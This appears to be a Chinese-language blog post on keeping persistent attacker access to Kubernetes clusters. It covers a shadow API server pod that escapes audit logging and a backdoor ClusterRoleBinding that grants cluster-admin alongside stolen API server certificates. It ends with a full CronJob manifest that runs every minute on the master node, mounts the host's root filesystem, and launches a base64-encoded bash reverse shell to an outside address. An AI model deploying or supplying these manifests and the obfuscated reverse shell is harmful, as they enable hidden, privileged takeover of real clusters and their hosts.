shadow api-server(个人感觉没什么用)
该技术由研究人员在 “RSAC 2020: Advanced Persistence Threats: The Future of Kubernetes Attacks” 提出,旨在创建一种针对K8s集群的隐蔽持续控制通道。

该思路是创建一个具有API Server功能的Pod,后续命令通过新的”shadow api server”下发。新的api server创建时可以开放更大权限,并放弃采集审计日志,且不影响原有api-server功能,日志不会被原有api-server记录,从而达到隐蔽性和持久控制目的。
执行这一思路的前提是已经拿到了master node的create pod权限
获取原有api-server的配置
kubectl get pod -n kube-system

kubectl get pod kube-apiserver-master -n kube-system -o yaml
修改配置,创建shadow apiserver
首先删除以下键值

其次修改
metadata.name、metadata.labels.component即可。
最后就是修改配置,跟进要求进行修改,这里我没动原有配置。(因为api-server版本过高,导致无法添加—inseureapi-server)
因为高版本api-server的不安全port也被弃用了,所以我感觉不出shadowapi-server有什么作用。
所以在这个版本的情况下,这个api-server可能唯一的作用就是弄了个副本,也许能够绕过一些拦截?比如安全软件只保护了原来的api-server。

盗取api-server证书,任意签发,设置clusterrolebinding
主要原理是提前设置一个账号的RBAC权限,让这个账号具有所有权限。然后再盗取api-server的证书,这样我们就能够签发账号了。
其实本质上就是留后门账号。
具体实现可以看k8s用户的创建和rbac的权限设置。这里不赘述了。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: eviltest
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: User
name: test
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-adminCronJob
常用命令:kubectl get cronjob
其实就类似linux中的计划任务,k8s也是有计划任务的。
不过实际对抗过程中,虽然我们也会对恶意的POD和容器做一定的持久化,但是直接使用 CronJob 的概率却不高。在创建后门POD的时候,直接使用 restartPolicy: Always 就可以方便优雅的进行后门进程的重启和维持,所以对 CronJob 的需求反而没那么高。
这里设置了一个一分钟执行一次的计划任务,功能是创建一个挂载了宿主机根目录的容器,并且执行反弹shell,这里我指定它的部署节点为master,命名空间没设置,所以就是默认命名空间。
apiVersion: batch/v1
kind: CronJob
metadata:
name: test-cronjob
spec:
schedule: "*/1 * * * *" # 参考定时计划任务(分时日月周)
startingDeadlineSeconds: 15 # pod必须在规定时间后的15秒内开始执行,若超过该时间未执行,则任务将不运行,且标记失败
successfulJobsHistoryLimit: 0 #可以保留多少完成的Job,如果不设置,就会堆积很多pod,都设置为0,那么只有你开启nc监听它成功连上的时候才会有pod。其他时候是没有pod的
failedJobsHistoryLimit: 0 #失败的一个都不留。
jobTemplate:
spec:
template:
metadata:
labels:
app: test-cronjob
spec:
nodeName: master #部署在master节点
containers:
- name: test-job
image: ruyueattention/php:v1
volumeMounts:
- mountPath: /test #把系统的根目录挂载到容器的这个目录下
name: test-volume
command: ["bash", "-c"," {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTMwLzU0NzEgMD4mMQ==}|{base64,-d}|{bash,-i}"]
volumes:
- name: test-volume
hostPath:
path: /
restartPolicy: OnFailure
